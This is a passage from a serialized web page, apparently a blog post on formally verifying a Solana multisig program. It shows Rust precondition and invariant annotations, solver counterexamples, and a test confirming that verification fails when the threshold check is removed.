}\n",[24641],{"type":21,"tag":66,"props":24642,"children":24643},{"__ignoreMap":7},[24644],{"type":26,"value":24639},{"type":21,"tag":22,"props":24646,"children":24647},{},[24648],{"type":26,"value":24649},"Aha! The threshold cannot be 0 either... Let's try again:",{"type":21,"tag":75,"props":24651,"children":24653},{"code":24652,"language":79,"meta":7,"className":77,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && threshold != 0\n)]\npub fn create(...) { ... }\n",[24654],{"type":21,"tag":66,"props":24655,"children":24656},{"__ignoreMap":7},[24657,24664,24699,24720,24727],{"type":21,"tag":85,"props":24658,"children":24659},{"class":87,"line":88},[24660],{"type":21,"tag":85,"props":24661,"children":24662},{"style":114},[24663],{"type":26,"value":24552},{"type":21,"tag":85,"props":24665,"children":24666},{"class":87,"line":98},[24667,24671,24675,24679,24683,24687,24691,24695],{"type":21,"tag":85,"props":24668,"children":24669},{"style":114},[24670],{"type":26,"value":24560},{"type":21,"tag":85,"props":24672,"children":24673},{"style":102},[24674],{"type":26,"value":3209},{"type":21,"tag":85,"props":24676,"children":24677},{"style":108},[24678],{"type":26,"value":14149},{"type":21,"tag":85,"props":24680,"children":24681},{"style":114},[24682],{"type":26,"value":736},{"type":21,"tag":85,"props":24684,"children":24685},{"style":169},[24686],{"type":26,"value":19841},{"type":21,"tag":85,"props":24688,"children":24689},{"style":114},[24690],{"type":26,"value":23813},{"type":21,"tag":85,"props":24692,"children":24693},{"style":169},[24694],{"type":26,"value":73},{"type":21,"tag":85,"props":24696,"children":24697},{"style":114},[24698],{"type":26,"value":24589},{"type":21,"tag":85,"props":24700,"children":24701},{"class":87,"line":151},[24702,24706,24711,24715],{"type":21,"tag":85,"props":24703,"children":24704},{"style":169},[24705],{"type":26,"value":16041},{"type":21,"tag":85,"props":24707,"children":24708},{"style":114},[24709],{"type":26,"value":24710}," threshold ",{"type":21,"tag":85,"props":24712,"children":24713},{"style":169},[24714],{"type":26,"value":16108},{"type":21,"tag":85,"props":24716,"children":24717},{"style":114},[24718],{"type":26,"value":24719}," 0\n",{"type":21,"tag":85,"props":24721,"children":24722},{"class":87,"line":160},[24723],{"type":21,"tag":85,"props":24724,"children":24725},{"style":114},[24726],{"type":26,"value":20686},{"type":21,"tag":85,"props":24728,"children":24729},{"class":87,"line":185},[24730,24734,24738,24742,24746,24750,24754,24758],{"type":21,"tag":85,"props":24731,"children":24732},{"style":102},[24733],{"type":26,"value":14108},{"type":21,"tag":85,"props":24735,"children":24736},{"style":102},[24737],{"type":26,"value":14113},{"type":21,"tag":85,"props":24739,"children":24740},{"style":1021},[24741],{"type":26,"value":1458},{"type":21,"tag":85,"props":24743,"children":24744},{"style":114},[24745],{"type":26,"value":1439},{"type":21,"tag":85,"props":24747,"children":24748},{"style":169},[24749],{"type":26,"value":10004},{"type":21,"tag":85,"props":24751,"children":24752},{"style":114},[24753],{"type":26,"value":24429},{"type":21,"tag":85,"props":24755,"children":24756},{"style":169},[24757],{"type":26,"value":10004},{"type":21,"tag":85,"props":24759,"children":24760},{"style":114},[24761],{"type":26,"value":10009},{"type":21,"tag":22,"props":24763,"children":24764},{},[24765],{"type":26,"value":24766},"A third counterexample:",{"type":21,"tag":75,"props":24768,"children":24770},{"code":24769},"threshold: 4\ncreate_key: ...\nmembers: SparseVec { size: 536870920 }\n",[24771],{"type":21,"tag":66,"props":24772,"children":24773},{"__ignoreMap":7},[24774],{"type":26,"value":24769},{"type":21,"tag":22,"props":24776,"children":24777},{},[24778,24780,24786],{"type":26,"value":24779},"Here we see the size of our ",{"type":21,"tag":66,"props":24781,"children":24783},{"className":24782},[],[24784],{"type":26,"value":24785},"members",{"type":26,"value":24787}," vec is huge! We need to constrain that to be less than u16::MAX:",{"type":21,"tag":75,"props":24789,"children":24791},{"code":24790,"language":79,"meta":7,"className":77,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n    && (threshold != 0)\n    && (members.len() \u003C= (u16::MAX as usize))\n)]\npub fn create(...) { ... }\n",[24792],{"type":21,"tag":66,"props":24793,"children":24794},{"__ignoreMap":7},[24795,24802,24837,24858,24910,24917],{"type":21,"tag":85,"props":24796,"children":24797},{"class":87,"line":88},[24798],{"type":21,"tag":85,"props":24799,"children":24800},{"style":114},[24801],{"type":26,"value":24552},{"type":21,"tag":85,"props":24803,"children":24804},{"class":87,"line":98},[24805,24809,24813,24817,24821,24825,24829,24833],{"type":21,"tag":85,"props":24806,"children":24807},{"style":114},[24808],{"type":26,"value":24560},{"type":21,"tag":85,"props":24810,"children":24811},{"style":102},[24812],{"type":26,"value":3209},{"type":21,"tag":85,"props":24814,"children":24815},{"style":108},[24816],{"type":26,"value":14149},{"type":21,"tag":85,"props":24818,"children":24819},{"style":114},[24820],{"type":26,"value":736},{"type":21,"tag":85,"props":24822,"children":24823},{"style":169},[24824],{"type":26,"value":19841},{"type":21,"tag":85,"props":24826,"children":24827},{"style":114},[24828],{"type":26,"value":23813},{"type":21,"tag":85,"props":24830,"children":24831},{"style":169},[24832],{"type":26,"value":73},{"type":21,"tag":85,"props":24834,"children":24835},{"style":114},[24836],{"type":26,"value":24589},{"type":21,"tag":85,"props":24838,"children":24839},{"class":87,"line":151},[24840,24844,24849,24853],{"type":21,"tag":85,"props":24841,"children":24842},{"style":169},[24843],{"type":26,"value":16041},{"type":21,"tag":85,"props":24845,"children":24846},{"style":114},[24847],{"type":26,"value":24848}," (threshold ",{"type":21,"tag":85,"props":24850,"children":24851},{"style":169},[24852],{"type":26,"value":16108},{"type":21,"tag":85,"props":24854,"children":24855},{"style":114},[24856],{"type":26,"value":24857}," 0)\n",{"type":21,"tag":85,"props":24859,"children":24860},{"class":87,"line":160},[24861,24865,24869,24873,24877,24881,24885,24890,24894,24898,24902,24906],{"type":21,"tag":85,"props":24862,"children":24863},{"style":169},[24864],{"type":26,"value":16041},{"type":21,"tag":85,"props":24866,"children":24867},{"style":114},[24868],{"type":26,"value":23427},{"type":21,"tag":85,"props":24870,"children":24871},{"style":169},[24872],{"type":26,"value":73},{"type":21,"tag":85,"props":24874,"children":24875},{"style":114},[24876],{"type":26,"value":21449},{"type":21,"tag":85,"props":24878,"children":24879},{"style":169},[24880],{"type":26,"value":19841},{"type":21,"tag":85,"props":24882,"children":24883},{"style":114},[24884],{"type":26,"value":717},{"type":21,"tag":85,"props":24886,"children":24887},{"style":108},[24888],{"type":26,"value":24889},"u16",{"type":21,"tag":85,"props":24891,"children":24892},{"style":169},[24893],{"type":26,"value":1087},{"type":21,"tag":85,"props":24895,"children":24896},{"style":108},[24897],{"type":26,"value":21467},{"type":21,"tag":85,"props":24899,"children":24900},{"style":102},[24901],{"type":26,"value":3195},{"type":21,"tag":85,"props":24903,"children":24904},{"style":108},[24905],{"type":26,"value":14149},{"type":21,"tag":85,"props":24907,"children":24908},{"style":114},[24909],{"type":26,"value":20139},{"type":21,"tag":85,"props":24911,"children":24912},{"class":87,"line":185},[24913],{"type":21,"tag":85,"props":24914,"children":24915},{"style":114},[24916],{"type":26,"value":20686},{"type":21,"tag":85,"props":24918,"children":24919},{"class":87,"line":501},[24920,24924,24928,24932,24936,24940,24944,24948],{"type":21,"tag":85,"props":24921,"children":24922},{"style":102},[24923],{"type":26,"value":14108},{"type":21,"tag":85,"props":24925,"children":24926},{"style":102},[24927],{"type":26,"value":14113},{"type":21,"tag":85,"props":24929,"children":24930},{"style":1021},[24931],{"type":26,"value":1458},{"type":21,"tag":85,"props":24933,"children":24934},{"style":114},[24935],{"type":26,"value":1439},{"type":21,"tag":85,"props":24937,"children":24938},{"style":169},[24939],{"type":26,"value":10004},{"type":21,"tag":85,"props":24941,"children":24942},{"style":114},[24943],{"type":26,"value":24429},{"type":21,"tag":85,"props":24945,"children":24946},{"style":169},[24947],{"type":26,"value":10004},{"type":21,"tag":85,"props":24949,"children":24950},{"style":114},[24951],{"type":26,"value":10009},{"type":21,"tag":22,"props":24953,"children":24954},{},[24955],{"type":26,"value":24956},"And now we get:",{"type":21,"tag":75,"props":24958,"children":24960},{"code":24959},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.6634517s\n",[24961],{"type":21,"tag":66,"props":24962,"children":24963},{"__ignoreMap":7},[24964],{"type":26,"value":24959},{"type":21,"tag":22,"props":24966,"children":24967},{},[24968],{"type":26,"value":24969},"🥳🥳🥳",{"type":21,"tag":22,"props":24971,"children":24972},{},[24973],{"type":26,"value":24974},"The attentive reader may have noticed that we didn't need to verify this condition:",{"type":21,"tag":75,"props":24976,"children":24978},{"code":24977,"language":79,"meta":7,"className":77,"style":7},"if total_members \u003C 1 {\n    return err!(MsError::EmptyMembers);\n}\n",[24979],{"type":21,"tag":66,"props":24980,"children":24981},{"__ignoreMap":7},[24982,25005,25036],{"type":21,"tag":85,"props":24983,"children":24984},{"class":87,"line":88},[24985,24989,24993,24997,25001],{"type":21,"tag":85,"props":24986,"children":24987},{"style":2885},[24988],{"type":26,"value":15999},{"type":21,"tag":85,"props":24990,"children":24991},{"style":120},[24992],{"type":26,"value":23892},{"type":21,"tag":85,"props":24994,"children":24995},{"style":169},[24996],{"type":26,"value":3085},{"type":21,"tag":85,"props":24998,"children":24999},{"style":2285},[25000],{"type":26,"value":3279},{"type":21,"tag":85,"props":25002,"children":25003},{"style":114},[25004],{"type":26,"value":148},{"type":21,"tag":85,"props":25006,"children":25007},{"class":87,"line":98},[25008,25012,25016,25020,25024,25028,25032],{"type":21,"tag":85,"props":25009,"children":25010},{"style":2885},[25011],{"type":26,"value":17411},{"type":21,"tag":85,"props":25013,"children":25014},{"style":1021},[25015],{"type":26,"value":23948},{"type":21,"tag":85,"props":25017,"children":25018},{"style":114},[25019],{"type":26,"value":1439},{"type":21,"tag":85,"props":25021,"children":25022},{"style":108},[25023],{"type":26,"value":23957},{"type":21,"tag":85,"props":25025,"children":25026},{"style":169},[25027],{"type":26,"value":1087},{"type":21,"tag":85,"props":25029,"children":25030},{"style":108},[25031],{"type":26,"value":23966},{"type":21,"tag":85,"props":25033,"children":25034},{"style":114},[25035],{"type":26,"value":777},{"type":21,"tag":85,"props":25037,"children":25038},{"class":87,"line":151},[25039],{"type":21,"tag":85,"props":25040,"children":25041},{"style":114},[25042],{"type":26,"value":2671},{"type":21,"tag":22,"props":25044,"children":25045},{},[25046,25048,25054,25056,25061,25063,25068,25070,25075],{"type":26,"value":25047},"In this case this is actually redundant because if ",{"type":21,"tag":66,"props":25049,"children":25051},{"className":25050},[],[25052],{"type":26,"value":25053},"members.len() == 0",{"type":26,"value":25055}," then our threshold would also have to be ",{"type":21,"tag":66,"props":25057,"children":25059},{"className":25058},[],[25060],{"type":26,"value":4789},{"type":26,"value":25062}," (and our ",{"type":21,"tag":66,"props":25064,"children":25066},{"className":25065},[],[25067],{"type":26,"value":23178},{"type":26,"value":25069}," is not allowed to be ",{"type":21,"tag":66,"props":25071,"children":25073},{"className":25072},[],[25074],{"type":26,"value":4789},{"type":26,"value":25076},"). The solver realizes that this situation is impossible and therefore the expression we have above is sufficient!",{"type":21,"tag":10022,"props":25078,"children":25080},{"id":25079},"_2-verify-threshold-requirements",[25081],{"type":26,"value":25082},"2. Verify threshold requirements",{"type":21,"tag":22,"props":25084,"children":25085},{},[25086],{"type":26,"value":25087},"A critical security property for multisigs is that the threshold should never be zero (which would let anyone issue transactions) and the threshold should never be greater than the number of members (which would let nobody issue transactions).",{"type":21,"tag":22,"props":25089,"children":25090},{},[25091,25093,25097],{"type":26,"value":25092},"Unlike the previous example, we want to verify this in ",{"type":21,"tag":39,"props":25094,"children":25095},{},[25096],{"type":26,"value":9713},{"type":26,"value":25098}," cases. I.e. any instruction that could mutate the multisig account.",{"type":21,"tag":22,"props":25100,"children":25101},{},[25102,25104,25108,25110,25115],{"type":26,"value":25103},"In this case, we want to model this as an ",{"type":21,"tag":39,"props":25105,"children":25106},{},[25107],{"type":26,"value":22206},{"type":26,"value":25109}," on the ",{"type":21,"tag":66,"props":25111,"children":25113},{"className":25112},[],[25114],{"type":26,"value":23170},{"type":26,"value":25116}," account struct:",{"type":21,"tag":75,"props":25118,"children":25120},{"code":25119,"language":79,"meta":7,"className":77,"style":7},"#[account]\n#[derive(Clone, Debug)]\n#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[25121],{"type":21,"tag":66,"props":25122,"children":25123},{"__ignoreMap":7},[25124,25131,25156,25163,25187,25238,25245,25264,25291,25318,25345,25372,25399,25426,25453,25488],{"type":21,"tag":85,"props":25125,"children":25126},{"class":87,"line":88},[25127],{"type":21,"tag":85,"props":25128,"children":25129},{"style":114},[25130],{"type":26,"value":21198},{"type":21,"tag":85,"props":25132,"children":25133},{"class":87,"line":98},[25134,25138,25143,25147,25152],{"type":21,"tag":85,"props":25135,"children":25136},{"style":114},[25137],{"type":26,"value":23266},{"type":21,"tag":85,"props":25139,"children":25140},{"style":108},[25141],{"type":26,"value":25142},"Clone",{"type":21,"tag":85,"props":25144,"children":25145},{"style":114},[25146],{"type":26,"value":256},{"type":21,"tag":85,"props":25148,"children":25149},{"style":108},[25150],{"type":26,"value":25151},"Debug",{"type":21,"tag":85,"props":25153,"children":25154},{"style":114},[25155],{"type":26,"value":20686},{"type":21,"tag":85,"props":25157,"children":25158},{"class":87,"line":151},[25159],{"type":21,"tag":85,"props":25160,"children":25161},{"style":114},[25162],{"type":26,"value":21206},{"type":21,"tag":85,"props":25164,"children":25165},{"class":87,"line":160},[25166,25171,25175,25179,25183],{"type":21,"tag":85,"props":25167,"children":25168},{"style":114},[25169],{"type":26,"value":25170},"    (self",{"type":21,"tag":85,"props":25172,"children":25173},{"style":169},[25174],{"type":26,"value":73},{"type":21,"tag":85,"props":25176,"children":25177},{"style":114},[25178],{"type":26,"value":21499},{"type":21,"tag":85,"props":25180,"children":25181},{"style":169},[25182],{"type":26,"value":10358},{"type":21,"tag":85,"props":25184,"children":25185},{"style":114},[25186],{"type":26,"value":21508},{"type":21,"tag":85,"props":25188,"children":25189},{"class":87,"line":185},[25190,25194,25198,25202,25206,25210,25214,25218,25222,25226,25230,25234],{"type":21,"tag":85,"props":25191,"children":25192},{"style":169},[25193],{"type":26,"value":16041},{"type":21,"tag":85,"props":25195,"children":25196},{"style":114},[25197],{"type":26,"value":21432},{"type":21,"tag":85,"props":25199,"children":25200},{"style":169},[25201],{"type":26,"value":73},{"type":21,"tag":85,"props":25203,"children":25204},{"style":114},[25205],{"type":26,"value":21499},{"type":21,"tag":85,"props":25207,"children":25208},{"style":102},[25209],{"type":26,"value":3209},{"type":21,"tag":85,"props":25211,"children":25212},{"style":108},[25213],{"type":26,"value":14149},{"type":21,"tag":85,"props":25215,"children":25216},{"style":169},[25217],{"type":26,"value":2553},{"type":21,"tag":85,"props":25219,"children":25220},{"style":114},[25221],{"type":26,"value":14215},{"type":21,"tag":85,"props":25223,"children":25224},{"style":169},[25225],{"type":26,"value":73},{"type":21,"tag":85,"props":25227,"children":25228},{"style":114},[25229],{"type":26,"value":21411},{"type":21,"tag":85,"props":25231,"children":25232},{"style":169},[25233],{"type":26,"value":73},{"type":21,"tag":85,"props":25235,"children":25236},{"style":114},[25237],{"type":26,"value":21560},{"type":21,"tag":85,"props":25239,"children":25240},{"class":87,"line":501},[25241],{"type":21,"tag":85,"props":25242,"children":25243},{"style":114},[25244],{"type":26,"value":20686},{"type":21,"tag":85,"props":25246,"children":25247},{"class":87,"line":697},[25248,25252,25256,25260],{"type":21,"tag":85,"props":25249,"children":25250},{"style":102},[25251],{"type":26,"value":14108},{"type":21,"tag":85,"props":25253,"children":25254},{"style":102},[25255],{"type":26,"value":21579},{"type":21,"tag":85,"props":25257,"children":25258},{"style":108},[25259],{"type":26,"value":21584},{"type":21,"tag":85,"props":25261,"children":25262},{"style":114},[25263],{"type":26,"value":148},{"type":21,"tag":85,"props":25265,"children":25266},{"class":87,"line":706},[25267,25271,25275,25279,25283,25287],{"type":21,"tag":85,"props":25268,"children":25269},{"style":102},[25270],{"type":26,"value":21271},{"type":21,"tag":85,"props":25272,"children":25273},{"style":120},[25274],{"type":26,"value":21600},{"type":21,"tag":85,"props":25276,"children":25277},{"style":169},[25278],{"type":26,"value":172},{"type":21,"tag":85,"props":25280,"children":25281},{"style":108},[25282],{"type":26,"value":21458},{"type":21,"tag":85,"props":25284,"children":25285},{"style":114},[25286],{"type":26,"value":21613},{"type":21,"tag":85,"props":25288,"children":25289},{"style":92},[25290],{"type":26,"value":21618},{"type":21,"tag":85,"props":25292,"children":25293},{"class":87,"line":1100},[25294,25298,25302,25306,25310,25314],{"type":21,"tag":85,"props":25295,"children":25296},{"style":102},[25297],{"type":26,"value":21271},{"type":21,"tag":85,"props":25299,"children":25300},{"style":120},[25301],{"type":26,"value":21630},{"type":21,"tag":85,"props":25303,"children":25304},{"style":169},[25305],{"type":26,"value":172},{"type":21,"tag":85,"props":25307,"children":25308},{"style":108},[25309],{"type":26,"value":21458},{"type":21,"tag":85,"props":25311,"children":25312},{"style":114},[25313],{"type":26,"value":21643},{"type":21,"tag":85,"props":25315,"children":25316},{"style":92},[25317],{"type":26,"value":21648},{"type":21,"tag":85,"props":25319,"children":25320},{"class":87,"line":1339},[25321,25325,25329,25333,25337,25341],{"type":21,"tag":85,"props":25322,"children":25323},{"style":102},[25324],{"type":26,"value":21271},{"type":21,"tag":85,"props":25326,"children":25327},{"style":120},[25328],{"type":26,"value":21660},{"type":21,"tag":85,"props":25330,"children":25331},{"style":169},[25332],{"type":26,"value":172},{"type":21,"tag":85,"props":25334,"children":25335},{"style":108},[25336],{"type":26,"value":17972},{"type":21,"tag":85,"props":25338,"children":25339},{"style":114},[25340],{"type":26,"value":21673},{"type":21,"tag":85,"props":25342,"children":25343},{"style":92},[25344],{"type":26,"value":21678},{"type":21,"tag":85,"props":25346,"children":25347},{"class":87,"line":1348},[25348,25352,25356,25360,25364,25368],{"type":21,"tag":85,"props":25349,"children":25350},{"style":102},[25351],{"type":26,"value":21271},{"type":21,"tag":85,"props":25353,"children":25354},{"style":120},[25355],{"type":26,"value":21690},{"type":21,"tag":85,"props":25357,"children":25358},{"style":169},[25359],{"type":26,"value":172},{"type":21,"tag":85,"props":25361,"children":25362},{"style":108},[25363],{"type":26,"value":17972},{"type":21,"tag":85,"props":25365,"children":25366},{"style":114},[25367],{"type":26,"value":21643},{"type":21,"tag":85,"props":25369,"children":25370},{"style":92},[25371],{"type":26,"value":21707},{"type":21,"tag":85,"props":25373,"children":25374},{"class":87,"line":1386},[25375,25379,25383,25387,25391,25395],{"type":21,"tag":85,"props":25376,"children":25377},{"style":102},[25378],{"type":26,"value":21271},{"type":21,"tag":85,"props":25380,"children":25381},{"style":120},[25382],{"type":26,"value":21719},{"type":21,"tag":85,"props":25384,"children":25385},{"style":169},[25386],{"type":26,"value":172},{"type":21,"tag":85,"props":25388,"children":25389},{"style":108},[25390],{"type":26,"value":15052},{"type":21,"tag":85,"props":25392,"children":25393},{"style":114},[25394],{"type":26,"value":21732},{"type":21,"tag":85,"props":25396,"children":25397},{"style":92},[25398],{"type":26,"value":21737},{"type":21,"tag":85,"props":25400,"children":25401},{"class":87,"line":1394},[25402,25406,25410,25414,25418,25422],{"type":21,"tag":85,"props":25403,"children":25404},{"style":102},[25405],{"type":26,"value":21271},{"type":21,"tag":85,"props":25407,"children":25408},{"style":120},[25409],{"type":26,"value":21749},{"type":21,"tag":85,"props":25411,"children":25412},{"style":169},[25413],{"type":26,"value":172},{"type":21,"tag":85,"props":25415,"children":25416},{"style":108},[25417],{"type":26,"value":21285},{"type":21,"tag":85,"props":25419,"children":25420},{"style":114},[25421],{"type":26,"value":21762},{"type":21,"tag":85,"props":25423,"children":25424},{"style":92},[25425],{"type":26,"value":21767},{"type":21,"tag":85,"props":25427,"children":25428},{"class":87,"line":1402},[25429,25433,25437,25441,25445,25449],{"type":21,"tag":85,"props":25430,"children":25431},{"style":102},[25432],{"type":26,"value":21271},{"type":21,"tag":85,"props":25434,"children":25435},{"style":120},[25436],{"type":26,"value":21779},{"type":21,"tag":85,"props":25438,"children":25439},{"style":169},[25440],{"type":26,"value":172},{"type":21,"tag":85,"props":25442,"children":25443},{"style":108},[25444],{"type":26,"value":12467},{"type":21,"tag":85,"props":25446,"children":25447},{"style":114},[25448],{"type":26,"value":256},{"type":21,"tag":85,"props":25450,"children":25451},{"style":92},[25452],{"type":26,"value":21796},{"type":21,"tag":85,"props":25454,"children":25455},{"class":87,"line":3145},[25456,25460,25464,25468,25472,25476,25480,25484],{"type":21,"tag":85,"props":25457,"children":25458},{"style":102},[25459],{"type":26,"value":21271},{"type":21,"tag":85,"props":25461,"children":25462},{"style":120},[25463],{"type":26,"value":21808},{"type":21,"tag":85,"props":25465,"children":25466},{"style":169},[25467],{"type":26,"value":172},{"type":21,"tag":85,"props":25469,"children":25470},{"style":108},[25471],{"type":26,"value":21817},{"type":21,"tag":85,"props":25473,"children":25474},{"style":114},[25475],{"type":26,"value":117},{"type":21,"tag":85,"props":25477,"children":25478},{"style":108},[25479],{"type":26,"value":21826},{"type":21,"tag":85,"props":25481,"children":25482},{"style":114},[25483],{"type":26,"value":21831},{"type":21,"tag":85,"props":25485,"children":25486},{"style":92},[25487],{"type":26,"value":21836},{"type":21,"tag":85,"props":25489,"children":25490},{"class":87,"line":3246},[25491],{"type":21,"tag":85,"props":25492,"children":25493},{"style":114},[25494],{"type":26,"value":2671},{"type":21,"tag":22,"props":25496,"children":25497},{},[25498,25500,25505],{"type":26,"value":25499},"Our verification framework will generate an invariant harness for each instruction. Instructions that can potentially modify the ",{"type":21,"tag":66,"props":25501,"children":25503},{"className":25502},[],[25504],{"type":26,"value":23170},{"type":26,"value":25506}," object will be checked to ensure that the invariant still holds after modification.",{"type":21,"tag":22,"props":25508,"children":25509},{},[25510,25512,25517],{"type":26,"value":25511},"Let's try this on the ",{"type":21,"tag":66,"props":25513,"children":25515},{"className":25514},[],[25516],{"type":26,"value":23249},{"type":26,"value":25518}," instruction that we've already seen:",{"type":21,"tag":75,"props":25520,"children":25522},{"code":25521},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.8006988s\n",[25523],{"type":21,"tag":66,"props":25524,"children":25525},{"__ignoreMap":7},[25526],{"type":26,"value":25521},{"type":21,"tag":22,"props":25528,"children":25529},{},[25530,25532,25537],{"type":26,"value":25531},"To ensure this is working, we can test by commenting out this check from ",{"type":21,"tag":66,"props":25533,"children":25535},{"className":25534},[],[25536],{"type":26,"value":23249},{"type":26,"value":172},{"type":21,"tag":75,"props":25539,"children":25541},{"code":25540,"language":79,"meta":7,"className":77,"style":7},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n//     return err!(MsError::InvalidThreshold);\n// }\n",[25542],{"type":21,"tag":66,"props":25543,"children":25544},{"__ignoreMap":7},[25545,25553,25561],{"type":21,"tag":85,"props":25546,"children":25547},{"class":87,"line":88},[25548],{"type":21,"tag":85,"props":25549,"children":25550},{"style":92},[25551],{"type":26,"value":25552},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n",{"type":21,"tag":85,"props":25554,"children":25555},{"class":87,"line":98},[25556],{"type":21,"tag":85,"props":25557,"children":25558},{"style":92},[25559],{"type":26,"value":25560},"//     return err!(MsError::InvalidThreshold);\n",{"type":21,"tag":85,"props":25562,"children":25563},{"class":87,"line":151},[25564],{"type":21,"tag":85,"props":25565,"children":25566},{"style":92},[25567],{"type":26,"value":25568},"// }\n",{"type":21,"tag":22,"props":25570,"children":25571},{},[25572],{"type":26,"value":25573},"And run again:",{"type":21,"tag":75,"props":25575,"children":25577},{"code":25576},"VERIFICATION:- FAILED\nVerification Time: 8.245743s\n",[25578],{"type":21,"tag":66,"props":25579,"children":25580},{"__ignoreMap":7},[25581],{"type":26,"value":25576},{"type":21,"tag":22,"props":25583,"children":25584},{},[25585],{"type":26,"value":25586},"We get the following counterexample:",{"type":21,"tag":75,"props":25588,"children":25590},{"code":25589,"language":79,"meta":7,"className":77,"style":7},"Account {\n    account: Ms {\n        threshold: 32768,\n        authority_index: 1,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: SparseVec {\n            size: 5112,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[25591],{"type":21,"tag":66,"props":25592,"children":25593},{"__ignoreMap":7},[25594,25605,25625,25645,25665,25685,25705,25725,25745,25765,25786,25807,25815,25823,25853],{"type":21,"tag":85,"props":25595,"children":25596},{"class":87,"line":88},[25597,25601],{"type":21,"tag":85,"props":25598,"children":25599},{"style":108},[25600],{"type":26,"value":17568},{"type":21,"tag":85,"props":25602,"children":25603},{"style":114},[25604],{"type":26,"value":148},{"type":21,"tag":85,"props":25606,"children":25607},{"class":87,"line":98},[25608,25613,25617,25621],{"type":21,"tag":85,"props":25609,"children":25610},{"style":120},[25611],{"type":26,"value":25612},"    account",{"type":21,"tag":85,"props":25614,"children":25615},{"style":169},[25616],{"type":26,"value":172},{"type":21,"tag":85,"props":25618,"children":25619},{"style":108},[25620],{"type":26,"value":21584},{"type":21,"tag":85,"props":25622,"children":25623},{"style":114},[25624],{"type":26,"value":148},{"type":21,"tag":85,"props":25626,"children":25627},{"class":87,"line":151},[25628,25632,25636,25641],{"type":21,"tag":85,"props":25629,"children":25630},{"style":120},[25631],{"type":26,"value":24266},{"type":21,"tag":85,"props":25633,"children":25634},{"style":169},[25635],{"type":26,"value":172},{"type":21,"tag":85,"props":25637,"children":25638},{"style":2285},[25639],{"type":26,"value":25640}," 32768",{"type":21,"tag":85,"props":25642,"children":25643},{"style":114},[25644],{"type":26,"value":182},{"type":21,"tag":85,"props":25646,"children":25647},{"class":87,"line":160},[25648,25653,25657,25661],{"type":21,"tag":85,"props":25649,"children":25650},{"style":120},[25651],{"type":26,"value":25652},"        authority_index",{"type":21,"tag":85,"props":25654,"children":25655},{"style":169},[25656],{"type":26,"value":172},{"type":21,"tag":85,"props":25658,"children":25659},{"style":2285},[25660],{"type":26,"value":3279},{"type":21,"tag":85,"props":25662,"children":25663},{"style":114},[25664],{"type":26,"value":182},{"type":21,"tag":85,"props":25666,"children":25667},{"class":87,"line":185},[25668,25673,25677,25681],{"type":21,"tag":85,"props":25669,"children":25670},{"style":120},[25671],{"type":26,"value":25672},"        transaction_index",{"type":21,"tag":85,"props":25674,"children":25675},{"style":169},[25676],{"type":26,"value":172},{"type":21,"tag":85,"props":25678,"children":25679},{"style":2285},[25680],{"type":26,"value":2830},{"type":21,"tag":85,"props":25682,"children":25683},{"style":114},[25684],{"type":26,"value":182},{"type":21,"tag":85,"props":25686,"children":25687},{"class":87,"line":501},[25688,25693,25697,25701],{"type":21,"tag":85,"props":25689,"children":25690},{"style":120},[25691],{"type":26,"value":25692},"        ms_change_index",{"type":21,"tag":85,"props":25694,"children":25695},{"style":169},[25696],{"type":26,"value":172},{"type":21,"tag":85,"props":25698,"children":25699},{"style":2285},[25700],{"type":26,"value":2830},{"type":21,"tag":85,"props":25702,"children":25703},{"style":114},[25704],{"type":26,"value":182},{"type":21,"tag":85,"props":25706,"children":25707},{"class":87,"line":697},[25708,25713,25717,25721],{"type":21,"tag":85,"props":25709,"children":25710},{"style":120},[25711],{"type":26,"value":25712},"        bump",{"type":21,"tag":85,"props":25714,"children":25715},{"style":169},[25716],{"type":26,"value":172},{"type":21,"tag":85,"props":25718,"children":25719},{"style":2285},[25720],{"type":26,"value":2830},{"type":21,"tag":85,"props":25722,"children":25723},{"style":114},[25724],{"type":26,"value":182},{"type":21,"tag":85,"props":25726,"children":25727},{"class":87,"line":706},[25728,25732,25736,25741],{"type":21,"tag":85,"props":25729,"children":25730},{"style":120},[25731],{"type":26,"value":24279},{"type":21,"tag":85,"props":25733,"children":25734},{"style":169},[25735],{"type":26,"value":172},{"type":21,"tag":85,"props":25737,"children":25738},{"style":169},[25739],{"type":26,"value":25740}," ...",{"type":21,"tag":85,"props":25742,"children":25743},{"style":114},[25744],{"type":26,"value":182},{"type":21,"tag":85,"props":25746,"children":25747},{"class":87,"line":1100},[25748,25753,25757,25761],{"type":21,"tag":85,"props":25749,"children":25750},{"style":120},[25751],{"type":26,"value":25752},"        allow_external_execute",{"type":21,"tag":85,"props":25754,"children":25755},{"style":169},[25756],{"type":26,"value":172},{"type":21,"tag":85,"props":25758,"children":25759},{"style":102},[25760],{"type":26,"value":3438},{"type":21,"tag":85,"props":25762,"children":25763},{"style":114},[25764],{"type":26,"value":182},{"type":21,"tag":85,"props":25766,"children":25767},{"class":87,"line":1339},[25768,25773,25777,25782],{"type":21,"tag":85,"props":25769,"children":25770},{"style":120},[25771],{"type":26,"value":25772},"        keys",{"type":21,"tag":85,"props":25774,"children":25775},{"style":169},[25776],{"type":26,"value":172},{"type":21,"tag":85,"props":25778,"children":25779},{"style":108},[25780],{"type":26,"value":25781}," SparseVec",{"type":21,"tag":85,"props":25783,"children":25784},{"style":114},[25785],{"type":26,"value":148},{"type":21,"tag":85,"props":25787,"children":25788},{"class":87,"line":1348},[25789,25794,25798,25803],{"type":21,"tag":85,"props":25790,"children":25791},{"style":120},[25792],{"type":26,"value":25793},"            